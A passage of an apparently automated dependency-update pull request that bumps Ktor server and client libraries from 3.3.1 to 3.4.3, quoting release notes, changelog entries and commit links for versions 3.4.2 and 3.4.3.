view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.3.1...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-client-content-negotiation` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-client-content-negotiation's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops 